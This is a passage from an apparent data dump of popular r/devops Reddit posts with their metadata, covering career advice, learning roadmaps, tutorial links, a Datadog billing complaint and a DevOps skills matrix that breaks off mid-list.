Annoyed",Jman1994678,391,86,1658081265,/r/devops/comments/w1dfhp/dear_datadog/,https://www.reddit.com/r/devops/comments/w1dfhp/dear_datadog/,self.devops,True,,,,, aqc8cj,devops,Interested in getting into DevOps? Start here!,"**What is DevOps?** * [AWS has a great article](https://aws.amazon.com/devops/what-is-devops/) that outlines DevOps as a work environment where development and operations teams are no longer ""siloed"", but instead work together across the entire application lifecycle -- from development and test to deployment to operations -- and automate processes that historically have been manual and slow. &nbsp; **Books to Read** * [The Phoenix Project](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/1942788290) - one of the original books to delve into DevOps culture, explained through the story of a fictional company on the brink of failure. * [The DevOps Handbook](https://www.amazon.com/dp/1942788002) - a practical ""sequel"" to The Phoenix Project. * [Google's Site Reliability Engineering](https://landing.google.com/sre/books/) - Google engineers explain how they build, deploy, monitor, and maintain their systems. &nbsp; **What Should I Learn?** * Emily Wood's [essay explains why infrastructure as code](https://crate.io/a/infrastructure-as-code-part-one/) is so important into today's world. * [2019 DevOps Roadmap](https://github.com/kamranahmedse/developer-roadmap#devops-roadmap) - one developer's ideas for which skills are needed in the DevOps world. This roadmap is controversial, as it may be too use-case specific, but serves as a good starting point for what tools are currently in use by companies. * [This comment by /u/mdaffin](https://www.reddit.com/r/devops/comments/abcyl2/sorry_having_a_midlife_tech_crisis/eczhsu1/) - just remember, DevOps is a mindset to solving problems. It's less about the specific tools you know or the certificates you have, as it is the way you approach problem solving. &nbsp; Remember: DevOps as a term and as a practice is still in flux, and is more about culture change than it is specific tooling. As such, specific skills and tool-sets are not universal, and recommendations for them should be taken only as suggestions.",gaijinshogun,388,1,1550095832,/r/devops/comments/aqc8cj/interested_in_getting_into_devops_start_here/,https://www.reddit.com/r/devops/comments/aqc8cj/interested_in_getting_into_devops_start_here/,self.devops,True,,,,, p11l4k,devops,DevOps Engineer is the new SysAdmin,"I teach a graduate course on DevOps and Agile Methodologies and many students think it's an operations course, when actually it's an advanced software engineering course that covers DevOps Culture, Test Driven Development, Behavior Driven Development, Cloud Native Microservice Architecture, Continuous Integration and Continuous Delivery, Docker, and deploying to the cloud and Kubernetes. I believe the confusion comes from job postings for DevOps Engineers that they see. This, I believe, is an anti-pattern that is prevalent in the industry. Recently when I came across a Job Function dropdown while signing up for a conference that lumped DevOps with Operations, I just had to write my ideas about it down. Here is the article that I wrote on the topic: [DevOps Engineering is the new SysAdmin](https://johnrofrano.medium.com/devops-engineer-is-the-new-sysadmin-5bc46b86d413) I will repeat here what I said at the end of the article because it's important to understand the spirit in which I wrote the article. ""I say this with all due respect to those who hold 'DevOps Engineer' job titles. The work you do is critically important, and the skills you possess are infinitely valuable and sought after, but the company you work for is not practicing DevOps if they put you on a DevOps Team. Remember, DevOps is about breaking down the silos, not creating a new one."" I'd be interested in this communities feedback and thoughts.",JohnRofrano,386,162,1628516162,/r/devops/comments/p11l4k/devops_engineer_is_the_new_sysadmin/,https://www.reddit.com/r/devops/comments/p11l4k/devops_engineer_is_the_new_sysadmin/,self.devops,True,,,,, vahopk,devops,"META: Can we do something about all of the ""how do I get into DevOps"" threads watering down this subreddit?","https://old.reddit.com/r/devops/comments/vae6ty/getting_into_devops/ https://old.reddit.com/r/devops/comments/vae6gg/what_is_minimum_devops_stack_i_can_learn_to_start/ https://old.reddit.com/r/devops/comments/vaa7xk/a_career_in_devops/ https://old.reddit.com/r/devops/comments/vaguen/junior_devops/ https://old.reddit.com/r/devops/comments/vajsex/not_every_getting_into_devops_topic_is_fruitless/ All within the last 8 hours. I can't be the only one losing my mind here right? EDIT: /u/mthode you appear to still be an active redditor and in charge of this sub. Need some additional moderation help maybe? Double edit: added one.",IndieDiscovery,385,122,1655023086,/r/devops/comments/vahopk/meta_can_we_do_something_about_all_of_the_how_do/,https://www.reddit.com/r/devops/comments/vahopk/meta_can_we_do_something_about_all_of_the_how_do/,self.devops,True,,,,, e6z74j,devops,2020 one year challenge to get into the Cloud / DevOps space from fast food employee with basic tech knowledge to a working level.,"Hello everyone. I will be challenging myself to be in the Cloud / DevOps space by EO2020. # Current skills 1. Intermediate Python knowledge 1. Basic understanding of core data types 2. Can create a program / script given enough time 2. Extremely basic Linux knowledge 1. Understanding of commands like cd, ls, mv, I know how to switch users, log into root 3. Extremely basic Networking knowledge 1. I know a few different protocols like DNS, DHCP, etc. The basic shit. I only know these at a theoretical level, if that makes any sense. No practical knowledge working with them # Gameplan 1. **Try** and get a helpdesk position for a better source of income, while learning. If I have to stay in fast food until EO2020, that's fine too. Fuck it. 2. Obtain a Linux Academy subscription 3. Start off by learning Linux System Administration fundamentals by following the Junior Linux System Administration course on Linux Academy which will lead to my **RHCSA** 4. Next, learn fundamental Networking, by following and understanding the [Networking course by Google](https://www.youtube.com/watch?v=QKfk7YFILws) 5. Database Administration and SQL Language Basics course on Linux Academy 6. Source Control With Git course on Linux Academy 7. DevOps Essentials course on Linux Academy 8. Using Terraform to Manage Applications and Infrastructure course on Linux Academy 9. Jenkins Quick Start course on Linux Academy 10. Certified Jenkins Engineer course on Linux Academy 11. Ansible: Setup, Configure, and Ad Hoc Commands Deep Dive on Linux Academy 12. Ansible: Playbooks Deep Dive course on Linux Academy 13. AWS Concepts course on Linux Academy 14. AWS Essentials course on Linux Academy 15. AWS Certified Solutions Architect Associate \- Yes, throughout the year I will also be focusing on learning the processes behind DevOps, not just solely focused on tooling \- Yes, I will be trying to put together projects \- *""You need to get professional experience for this stuff, which will help you learn about the processes, pain points, blah blah"".* Yes Mr Reddit poster, I would need to get a job to be able to understand these things at a solid level. Oh wait, in order to get a job, I need experience. Oh wait, in order to get experience I need a job. **That** is the problem a lot of the more seasoned engineers don't see on here for us new guys wanting to even learn any of this stuff / get a job in the space. \- *""Don't just chase certs, they're meaningless"".* Yes Mr Reddit poster, I understand that exp > certs any day of the week, but remember, in order for me to get experience, I need...... a job. Bingo. The only certs I'm getting are the RHCSA + AWS SAA. The Jenkins cert I will study for, **but not actually take.** Anybody who wants to use my path as a guide, and challenge themselves as well, feel free to do so. Will provide an update at the end of the year. Worst case scenario? I don't get a job, and stay a fast food pleb with 10x more tech knowledge than I knew before. Best case scenario? That's what we're going to find out. # Edit # 1: ============ \- *I didn't know this many people would be interested in my challenge to myself. That's great. Since the challenge starts on January 1st, 2020. I'll use some of your suggestions to refine my plan until the aforementioned date.* \- *Disclaimer: The majority of this plan will stay the same, with at* ***max 3 things being switched entirely for something else. I am also open to moving numbers around, but*** ***I want my plan to stay very similar to this approach.*** \- Disclaimer #2: *I want to end the year with my* ***AWS Certified Solutions Architect Associate.*** *I personally feel that would be a big accomplishment for this plan as that is one of the most sought after certifications in the cloud space currently.* \- Disclaimer #3: *The numbers I am deadset on keeping the same are #1 - #4. I feel this will be the basis of my plan.* \- *Per* u/pheouk *as top comment (a lot of you guys agree): ""I might suggest you move the git learning up a little As you go through Linux and database stuff you are going to be creating scripts and tools as part of the process and stashing them appropriately would be a lot of good practice with git, as well as ensuring you keep iterating on what you are building without the fear of breaking it all*"" *Based off this, I have created a simple poll where majority vote will win. December 9th, 2019 is when the change will be made.* [Switch #6 with #5](http://www.strawpoll.me/19048137) ============ # Edit # 2: ============ \- *So over the weekend I took a lot of things into consideration for this challenge, and am planning on sticking with the following path for 2020:* 1. *Try and get a helpdesk position for a better source of income, while learning. If I have to stay in fast food until EO2020, that's fine too. Fuck it.* 2. *Obtain a Linux Academy subscription* 3. *Start off by learning Linux System Administration fundamentals by following the Junior Linux System Administration course on Linux Academy which will lead to my RHCSA* 4. *Next, learn fundamental Networking, by following and understanding the* [*Networking course by Google*](https://www.youtube.com/watch?v=QKfk7YFILws) 5. ***Source Control With Git course on Linux Academy*** 6. ***DevOps Essentials course on Linux Academy*** 7. ***Ansible: Setup, Configure, and Ad Hoc Commands Deep Dive on Linux Academy*** 8. ***Ansible: Playbooks Deep Dive course on Linux Academy*** 9. ***AWS Concepts course on Linux Academy*** 10. ***AWS Essentials course on Linux Academy*** 11. ***AWS Certified Solutions Architect Associate*** 12. ***AWS Certified Developer Associate*** 13. ***Using Terraform to Manage Applications and Infrastructure*** # Reasoning for certain learning course movements etc: \- *Per the straw poll, (which I really appreciate everyone who took the time out to vote on) version control was best to learn before diving into Database Administration and SQL. I ultimately took Database Administration out, as because I feel that I wouldn't need to go that depth into databases for the foreseeable future. If anything, i'd just need to understand the fundamentals of SQL, and different types of databases etc, but I feel I could learn that on the side whenever it's needed.* \- *After the Source Control course which would help me learn the fundamentals of Git, I'd be doing the DevOps Essentials course. This would help introduce me to the overall, concrete, understanding of DevOps.* \- *Terraform was moved to the end, and i'll explain that in a bit.* \- *I ended up removing Jenkins entirely out. One of the things I had to realize (with the help of the comments), is that this is going to be challenging, at the same time I can always learn different tools needed either on the job, or the following year. I wanted to really focus on minimal tooling next year, and more-so focus on a lot of practical, hands-on application. Had a lot of insight provided to me by* u/aerborne and u/p3psey. *The common theme was to get more hands-on. Once I learn the practical aspect, I feel it would help me understand the tools better.* \- *Planning on taking the AWS SAA, and AWS DA certifications before learning Terraform. There was a trend in the comments that I noticed, (with credits to* u/DPRegular, u/completerevolution, *and everyone else) it would be better to learn the services, and understand the ""why"" before learning the ""how"".* \- *I chose Ansible and Terraform as the tools to learn next year, because in the end, a lot of the focus should be in regards to area. Where I live, configuration management, and IAC are hot, so is Docker + Kubernetes (I understand it's worth learning these as well, but they can be learned on the job or the following year.), but again, I didn't want to overwhelm myself with tooling. I wanted to focus more on a hands-on application of things: making things, understanding how / why something works before throwing a tool at it etc.* \- *To end this off, I understand that this might not be the* ***BEST*** *path. To me, that doesn't matter. Maybe I should be learning Docker + Kubernetes, or I should be learning Cloud Formation instead of Terraform, or I shouldn't even bother with Ansible and Terraform because of xyz, or maybe I should just give it all up and become a farmer. The tools are all meaningless in the end. The things I'll learn more about next year, such as Linux, networking, system administration, etc, are transferable anywhere. Analysis paralysis is the reason I've even managed to learn the bare minimum of what I know now, because I'm constantly Googling instead of getting more hands-on. It's a double-edged sword, a gift and a curse.* *The bottom line is: I'd rather pick a path and start walking, and adapt along the way, instead of going back and forth about a path. Thanks for everyone who provided insight, and I appreciate all the opinions. God willing, I'll be back with an update by the end of next year.* [Oh well, whatever happens, happens.](http://i.imgur.com/oWrGhf3.png) *See you guys later.* ============ Peace.",SelfTaughtHunter,374,143,1575641238,/r/devops/comments/e6z74j/2020_one_year_challenge_to_get_into_the_cloud/,https://www.reddit.com/r/devops/comments/e6z74j/2020_one_year_challenge_to_get_into_the_cloud/,self.devops,True,,,,, s3l5op,devops,Who wants to learn Docker & Kubernetes this weekend?,"I had put a lot of effort in creating this video series on Docker & Kubernetes for beginners. It consist of basics on Docker, Docker Swarm, Docker Stack, kubernetes, Installing Docker, minikube, kubernetes cluster, k3d cluster, creating Containers, Pods, Deployments, services, replicaset, HPA, Integration with Jenkins to deploy your application to Kubernetes cluster, kubernetes screts and more. Docker: [https://youtube.com/playlist?list=PLVx1qovxj-amqyqHceAhkcsopzi4PFcKc](https://youtube.com/playlist?list=PLVx1qovxj-amqyqHceAhkcsopzi4PFcKc) Kubernetes: [https://youtube.com/playlist?list=PLVx1qovxj-akr\_3XqQQgpqRyQw4GYuS4h](https://youtube.com/playlist?list=PLVx1qovxj-akr_3XqQQgpqRyQw4GYuS4h) When I started the video, I was not confident and used automated voice, All my latest videos are with personal voice. I am sure this will help you to enhance your skills. I would appreciate a look on it :) . Constructive feedback is always welcome & be kind to subscribe.",Curious_Fishing690,372,38,1642140554,/r/devops/comments/s3l5op/who_wants_to_learn_docker_kubernetes_this_weekend/,https://www.reddit.com/r/devops/comments/s3l5op/who_wants_to_learn_docker_kubernetes_this_weekend/,self.devops,True,,,,, ecstf1,devops,The Phoenix Project ebook currently free in amazon and Apple Books,,hctiks,370,52,1576760108,/r/devops/comments/ecstf1/the_phoenix_project_ebook_currently_free_in/,/r/webdev/comments/ecrbcw/the_phoenix_project_is_free_as_an_ebook_for_the/,self.webdev,False,,,,, sra77u,devops,"""Daddy, what do you do at work?""","""Well sweetie I just stand here on this balance board and type stuff, occasionally breaking for more coffee."" ""Why were you yelling at that man on the phone?"" ""Oh, well you see princess, he's on what we call 'the CloudFlare sales team' and he won't stop calling daddy 10 times a week."" Seriously though, my kids are genuinely curious about what I do. Every time they ask, I try to answer and realize what I just said made no sense to them. FWIW, they're 8 and 11. My son (11) is even starting to occasionally ask ""so what are you working on right now?"" It sucks because I'd really love to answer him but even when I try to dumb it down a few levels, nothing I say makes sense to him. So I usually just mutter something like, ""ugh... trying to fix this shit."" Lol How do you all explain your job/tasks to your kids?",wingerd33,366,187,1644727008,/r/devops/comments/sra77u/daddy_what_do_you_do_at_work/,https://www.reddit.com/r/devops/comments/sra77u/daddy_what_do_you_do_at_work/,self.devops,True,,,,, 11qfeqg,devops,Update: I unstuck my career,"A month ago I posted that I was a part of a sinking ship startup and wasn't getting any traction with other startups in terms of interviews. A lot of my experience is ""old school"" like running and tuning non-containerized linux infra. It turns out my experience in government has very good overlap with large enterprise. Ended up getting an amazing offer from a F100, will finally crack 200k TC. Also I announced I was leaving my startup 2 days before SVB collapsed hahahaha. Edit: Wow, this got more attention than expected! One interesting note is that I initially interviewed with a different team at this F100. They did not offer me a job, but I had several rounds of interviews all with positive feedback (compared to being ghosted by all the startups). I though ""well shit, what if I just apply to every job I'm even vaguely qualified for at this company?"". And so the team's position I was hired for wasn't even listed as remote, but that initial positive feedback in my applicant cycle helped me get in the door. I also want to point out I am not some miracle genius who came out of the gates swinging. I have been in IT for 13 years: 5 years support, 4 years linux admin, 4 years devops. Long term perseverance has been the key.",draetheus,365,44,1678727567,/r/devops/comments/11qfeqg/update_i_unstuck_my_career/,https://www.reddit.com/r/devops/comments/11qfeqg/update_i_unstuck_my_career/,self.devops,True,,,,, rnl9z3,devops,Merry Christmas! I am giving away my ebook Command Line: A Modern Introduction for free. Grab your copy as a gift :),"1. Go to [https://stribny.gumroad.com/l/moderncommandline](https://stribny.gumroad.com/l/moderncommandline) 2. Enter ""christmas"" as the discount code 3. Enjoy your Christmas gift:)",petr31052018,361,77,1640348568,/r/devops/comments/rnl9z3/merry_christmas_i_am_giving_away_my_ebook_command/,https://www.reddit.com/r/devops/comments/rnl9z3/merry_christmas_i_am_giving_away_my_ebook_command/,self.devops,True,,,,, 120rjz5,devops,Heads up: Datadog overcharging customers and (probably) not informing them,"So for background, I've been peeved by Datadog's pricing for a while now. It's **insanely high,** about as much as my company's actual infra. It's so high that it's almost making the priority cut at a startup (with about a million important things to do) which is wild. I spent some time early last year optimizing our bill by carefully calculating how much reserved capacity we would need and configuring that in Datadog to reduce our bill. Then in Nov/Dec I went to review our bill and I saw that they'd been ignoring the reserved capacity I'd reserved and charging us for on-demand everything. I alerted them of the billing error and now finally fucking **four months later** they issued a refund in the exact amount of their error. I've never seen a company take four months to resolve a billing issue. They could have addressed it quickly like a normal company. And/or issued a token credit as a ""sorry for cheating you"" apology like any decent company would. I had to catch them with their hand in the cookie jar or they simply would have done it indefinitely. Ever since I alerted them of the error, I've been waiting for a batch email letting me and all other affected customers know there was an issue with the billing system that my account was affected by. Never came, and they didn't address it when I asked, so all I can assume is that they are not informing other customers and continuing to cheat you. So, heads up!",pataoAoC,360,122,1679679045,/r/devops/comments/120rjz5/heads_up_datadog_overcharging_customers_and/,https://www.reddit.com/r/devops/comments/120rjz5/heads_up_datadog_overcharging_customers_and/,self.devops,True,,,,, lregzj,devops,I did it guys,"Had to tell someone as it's not yet official But I've secured a role at my company as a Platform/DevOps Engineer Once HR and the managers sort it all out I'll be transitioning over from ServiceOps I'll be finally spending my days building the platform rather than resetting a developers password or restarting a windows service ... Happy days Edit - was not thinking this would have such a reaction to get me my first gold and all of the kind words, wow what a day Edit 2 - okay so I just woke up and fudge me sideways thank you everyone this is amazing",kiddj1,356,48,1614177801,/r/devops/comments/lregzj/i_did_it_guys/,https://www.reddit.com/r/devops/comments/lregzj/i_did_it_guys/,self.devops,True,,,,, s69v8c,devops,90 Days of DevOps,"Hey All, I thought I'd post in here a GitHub repository that I've been following called ""[\#90DaysofDevops](https://github.com/MichaelCade/90DaysOfDevOps)"". Here is the current progress that Michael (repo owner) is up to, I've personally found it really useful, so I thought I'd share! # Progress * \[ \] ♾️ 1 > [Introduction](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day01.md) # What is and why do we use DevOps * \[ \] ♾️ 2 > [Responsibilities of a DevOps Engineer](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day02.md) * \[ \] ♾️ 3 > [DevOps Lifecycle - Application Focused](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day03.md) * \[ \] ♾️ 4 > [DevOps & Agile](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day04.md) * \[ \] ♾️ 5 > [Plan > Code > Build > Testing > Release > Deploy > Operate > Monitor >](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day05.md) * \[ \] ♾️ 6 > [DevOps - The real stories](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day06.md) # Learning a Programming Language * \[ \] ⌨️ 7 > [The Big Picture - DevOps & Learning a Programming Language](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day07.md) * \[ \] ⌨️ 8 > [Setting up your DevOps environment for Go & Hello World](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day08.md) * \[ \] ⌨️ 9 > [Let's explain the Hello World code](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day09.md) * \[ \] ⌨️ 10 > [The Go Workspace & Compiling & running code](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day10.md) * \[ \] ⌨️ 11 > [Variables, Constants & Data Types](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day11.md) * \[ \] ⌨️ 12 > [Getting user input with Pointers and a finished program](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day12.md) * \[ \] ⌨️ 13 > [Tweet your progress with our new App](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day13.md) # Knowing Linux Basics * \[ \] 🐧 14 > [The Big Picture - DevOps and Linux](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day14.md) * \[ \] 🐧 15 > [Linux Commands for DevOps (Actually everyone)](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day15.md) * \[ \] 🐧 16 > [Managing your Linux System, Filesystem & Storage](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day16.md) * \[ \] 🐧 17 > [Text Editors - nano vs vim](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day17.md) * \[ \] 🐧 18 > [SSH & Web Server(LAMP)](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day18.md) * \[ \] 🐧 19 > [Automate tasks with bash scripts](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day19.md) * \[ \] 🐧 20 > [Dev workstation setup - All the pretty things](https://github.com/MichaelCade/90DaysOfDevOps/blob/main/Days/day20.md) Here are the areas that are yet to be covered. * Understand Networking * Stick to one Cloud Provider * Use Git Effectively * Containers * Kubernetes * Learn Infrastructure as Code * Automate Configuration Management * Create CI/CD Pipelines Monitoring, * Log Management, and Data Visualisation * Store & Protect Your Data",saintdle,355,34,1642441461,/r/devops/comments/s69v8c/90_days_of_devops/,https://www.reddit.com/r/devops/comments/s69v8c/90_days_of_devops/,self.devops,True,,,,, dj9ffy,devops,A collection of DevOps interview questions,"I've created this repository in order to help folks with DevOps interviews: [https://github.com/bregman-arie/devops-interview-questions](https://github.com/bregman-arie/devops-interview-questions) New questions are being added every week. I hope you'll find it useful.",abregman2,353,68,1571332280,/r/devops/comments/dj9ffy/a_collection_of_devops_interview_questions/,https://www.reddit.com/r/devops/comments/dj9ffy/a_collection_of_devops_interview_questions/,self.devops,True,,,,, uqrwq2,devops,How we deploy to production over 100 times a day,"Hello, I work for [Monzo](https://monzo.com/). We have embraced the devops philosophy for deploying software, which I think is fairly unusual for a bank! This has allowed us to maintain a rapid per-engineer release cadence despite a significant increase in headcount. So I thought it would be interesting to share some details on our engineering culture as well as tooling and architecture that allows us to achieve this. [https://monzo.com/blog/2022/05/16/how-we-deploy-to-production-over-100-times-a-day](https://monzo.com/blog/2022/05/16/how-we-deploy-to-production-over-100-times-a-day) I'm happy to answer any questions!",WillSewell,351,108,1652693346,/r/devops/comments/uqrwq2/how_we_deploy_to_production_over_100_times_a_day/,https://www.reddit.com/r/devops/comments/uqrwq2/how_we_deploy_to_production_over_100_times_a_day/,self.devops,True,,,,, 1kk685o,devops,I’m done applying. I’ll fix your cloud/SRE problem in 48 hours and for free.,"I’m a Site Reliability Engineer with 3 years of experience stabilizing cloud chaos , scaling infrastructure, optimizing observability, and putting out production fires nobody else could trace. But after months of getting ghosted by hiring pipelines, I’m flipping the script. Here’s the deal: Give me one real, gnarly infra or SRE issue I’ll solve it in 48 hours. Free. No strings. Dealing with stuff like: * ML workloads starving your GPU nodes and breaking autoscaling? * CI runners hogging ephemeral disks and silently failing deploys? * OpenTelemetry or Datadog showing 0% CPU... right before your pod dies? * Terraform state files locking up during high-frequency changes? * Real-time APIs randomly timing out under load but only during inference spikes? * S3 buckets quietly serving stale model files after a blue/green deployment? * IAM policies growing into unmanageable beasts breaking least privilege by accident? * Docker build cache exploding and pushing deploy times past 15 minutes? * EKS upgrades failing because of legacy node taints? * GitHub Actions burning free minutes due to missing cache keys? * Broken rollback logic that works in staging but fails in production? * Load balancers routing traffic unevenly across AZs during scale events? * Secrets leaking from ENV vars in ephemeral test environments? * Lambda cold starts doubling after a version bump and nobody knows why? These are the problems I love solving and the kind of fires I’ve put out before. Reply here or DM me your toughest infra/SRE pain. I’ll pick a few, solve them fast, and share anonymized fixes publicly. You get a real solution. I get to prove what I can do no fluff, just execution. Let’s build.",LongjumpingRole7831,349,166,1746984167,/r/devops/comments/1kk685o/im_done_applying_ill_fix_your_cloudsre_problem_in/,https://www.reddit.com/r/devops/comments/1kk685o/im_done_applying_ill_fix_your_cloudsre_problem_in/,self.devops,True,,,,, v8zfup,devops,Who wants to learn Docker & Kubernetes this weekend?,"I had put a lot of effort in creating this video series on Docker & Kubernetes for beginners. It consist of basics on Docker, Docker Swarm, Docker Stack, kubernetes, Installing Docker, minikube, kubernetes cluster, k3d cluster, creating Containers, Pods, Deployments, services, replicaset, HPA, Integration with Jenkins to deploy your application to Kubernetes cluster, kubernetes screts and more. Docker: [https://youtube.com/playlist?list=PLVx1qovxj-amqyqHceAhkcsopzi4PFcKc](https://youtube.com/playlist?list=PLVx1qovxj-amqyqHceAhkcsopzi4PFcKc) Kubernetes: [https://youtube.com/playlist?list=PLVx1qovxj-akr\_3XqQQgpqRyQw4GYuS4h](https://youtube.com/playlist?list=PLVx1qovxj-akr_3XqQQgpqRyQw4GYuS4h) When I started the video, I was not confident and used automated voice, All my latest videos are with personal voice. I am sure this will help you to enhance your skills. I would appreciate a look on it :) . All criticism and feedback are welcome, be kind and constructive.",Curious_Fishing690,348,56,1654835293,/r/devops/comments/v8zfup/who_wants_to_learn_docker_kubernetes_this_weekend/,https://www.reddit.com/r/devops/comments/v8zfup/who_wants_to_learn_docker_kubernetes_this_weekend/,self.devops,True,,,,, tt89nk,devops,#90DaysOfDevOps,"I finished it! On the 90th Day of 2022 I finished something I started on the 1st Jan 2022.... 90 posts about all things DevOps... 5K stars! 🌟 212 watchers 👀 584 forks 🍴 https://github.com/MichaelCade/90DaysOfDevOps",MichaelCade,344,31,1648756785,/r/devops/comments/tt89nk/90daysofdevops/,https://www.reddit.com/r/devops/comments/tt89nk/90daysofdevops/,self.devops,True,,,,, qna9hq,devops,"DevOps Master Class just passed 100,000 views across the content"," Just wanted to say thanks and make sure people were aware of the DevOps Master Class which is free and has zero adverts. https://www.youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq GitHub repo for all associated code, boards etc. at https://github.com/johnthebrit/DevOpsMC.",JohnSavill,344,39,1636116099,/r/devops/comments/qna9hq/devops_master_class_just_passed_100000_views/,https://www.reddit.com/r/devops/comments/qna9hq/devops_master_class_just_passed_100000_views/,self.devops,True,,,,, t2mk8i,devops,Ukrainians are organizing a cyberarmy and call volunteers to fight Kremlin's regime in the cyberspace.,This is a twitter [twitter.com/FedorovMykhailo/status/1497642156076511233](https://twitter.com/FedorovMykhailo/status/1497642156076511233) post by Mykhailo Fedorov Vice Prime Minister of Ukraine and Minister of Digital Transformation of Ukraine,YetAnotherInvestor,342,92,1645962425,/r/devops/comments/t2mk8i/ukrainians_are_organizing_a_cyberarmy_and_call/,https://www.reddit.com/r/devops/comments/t2mk8i/ukrainians_are_organizing_a_cyberarmy_and_call/,self.devops,True,,,,, vdtdmv,devops,DevOps Engineer Skills Matrix - What do you think about it? Do your company use it?,"What are the requirements for a DevOps engineer in your company? Do your company use the skill matrix? We've describe here our vision about what a DevOps engineer should know to be an expert and wanted to know your opinion. So, since we understand that people come to companies from different jobs and all have a different scope of competencies and levels of knowledge, we decided to create a universal roadmap for the growth and development of a DevOps engineer. But it didn't work as we wanted, so we decided to go the other way and create a list of skills and competencies needed to work in our company. Thus, having made a three-level system, each level consists of a questionnaire and criteria for the candidate. To put it another way, we prepared the first version of grading and certification. However, this system also did not help to solve our problem. Later we found a great tool - a self-assessment skill matrix. We decided to put the tool into practice for DevOps and later transformed it into a skill matrix. After that, we held a session where we set ourselves current and desired six-month grades. We used Miro as a tool, but you can also use Google sheets. # Skills and competencies You need at least a middle sysadmin level to get started. Also, skills required for further growth and understanding of abstract skills and principles of: * preparation and operation of the service in production; * analysis logging; * creating fault tolerance; * disaster recovery; * scripting and automation programming; * configuration management. ## Linux The Linux kernel, subsystems, and the utilities around it are at heart. What you need to know: * Processes, devices, disk partitions, lvm, file systems, namespaces, and cgroups; * Boot loaders, startup process, systemd, and units; * Netfilter network subsystem, user utilities: iptables, Shorewall, tc, etc., basic knowledge of network protocols; * Virtualization - primarily KVM, also need to know the types of virtualization and other technologies; * How to set up and work with basic services: dhcpd, NFS, sshd, DNS (bind), mail (postfix, Sendmail), web (Nginx, apache, caddy, traefik, etc.), database(MySQL, Postgres); * Basic bash/python scripting; * Basic troubleshooting. ## Docker/Containers Even though Docker is leaning back, we cannot exclude it from the list of necessary skills. It is difficult to imagine anything else for local use for several more years. If we talk about k8s, then the official support for Docker as a Container Runtime should completely stop with the release of 1.23. It should also mention that Docker was the technology that brought containerization to the masses. Whereas the containerization technology itself has been around for a long time, its users were often mostly ""geeks.” There is to know: * Differences between containerization and virtualization; * Which Linux kernel components are necessary for containers to work; * How to run docker containers using public docker images; * Be able to write your own Dockerfiles based on best practices (layer order, caches, multi-stage builds, etc.); * Prepare docker-compose files to speed up and simplify local development; * how the network works in docker; * Security practices for docker and dockerized applications; * How to switch to dockerless tools if necessary. For example, buildkit, buildah, kaniko, etc. ## Terraform and IaC Among the great variety of tools (pulumi, Cloudformation, AWS CDK, etc.) that help bring the **IaC** (Infrastructure as a Code) approach to the masses, we decided to use **Terraform** as a main tool to describe the infrastructure component.  It's essential to know about: 1. Terraform is not a silver bullet and cannot replace absolutely all tools. To configure virtual machines, it is better to use the following tools:a) Packer;b) Ansible/Chef/Puppet/Salt;c) Whatever you want (bash?). 2. Terraform is not a multi-cloud management tool. It can be called so with a huge stretch. By managing only AWS, you cannot deploy the infrastructure in the GCP using the same code. Each provider has its own set of resources, and these resources are called differently. However, the use of Terraform allows us not to learn the new syntax of various tools and new approaches to organizing code for working with different clouds/providers. Which at times speeds up the process of writing, maintaining, and transferring code between engineers. Knowledge requirements: * Ability to read someone else's terraform code. It means that you can read and understand the code used in the public modules (input/output parameters, logic, resources used);  * Fluent usage of public modules; * Ability to describe the infrastructure of the project in the form of readable, maintainable and reusable code; * Writing your own modules and understanding how to use them; * Understanding how to organize the structure of the project; * Manually work with a state file (importing existing resources into code, deleting objects, moving objects between resources (for example - from a resource to a module)); ## CI/CD It is now impossible to imagine any project that wants to reduce Time-To-Market without losing quality and doesn't use **CI / CD (Continuous Integration / Continuous Delivery / Continuous Deployment)** processes. Therefore, it is vital to understand the concepts and apply them correctly. Our task is often to write a pipeline regarding the development and source code flow. Let's consolidate the idea that we don't pull the flow on the pipeline but adjust the pipeline to the flow. Now it is practically not important which CI / CD system will be used, because they all have pretty much the same functionality. BUT it is important to remember that EDGE cases exist, and knowing the strengths/weaknesses of a particular system will allow you to make the right choice at the right time. Necessary knowledge in this field: * Understanding of the CI, CD, and CD concepts. Know what it is, and what the differences are. * Writing simple and readable pipelines; * Ability to transfer the development flow to the CI / CD pipeline, which may include complex logic:- rollbacks,- manual steps,- trigger other jobs, services,- notifications.; * Pipeline optimization. Ability to find bottlenecks, speed up, and optimize in terms of cost; * Knowledge of various strategies for rolling out a new release and the ability to implement them:- Rolling update,- Blue/Green;- Canary; * GitOps - what is it, when is it better to apply, and what tools are better to use; * Knowledge of tooling. Integrate infrastructure and application code analysis, images and systems for vulnerabilities, and security checks of public endpoints into pipeline steps. ## AWS/Azure/GCP (Cloud) Each of these cloud providers offers over 100 services. There will not be enough time to know everything in detail. A considerable part of the services is quite unique and may never be encountered in work. What is necessary to know: * How to set up a network: this may include services such as VPC, Security groups and ACLs, topology and subnets, peerings, VPN etc; * Virtual machine; * IAM; * Storages: block and object storages; * Container deployment services: ECS, AppRunner, Beanstalk, AppEngine, Web Apps, etc; * Database services (both relational and not); * Managed Kubernetes cluster services; * Load Balancers, CDNs, WAFs. When building a cloud infrastructure, it is also helpful: * Understand and know the various PaaS, IaaS, and SaaS. This knowledge can significantly speed up the start of the project without unnecessary steps; * Be able to migrate to clouds from on-premise and between clouds. It is necessary to calculate the capacity and cost correctly, choose the required services, develop and implement migration plan; * 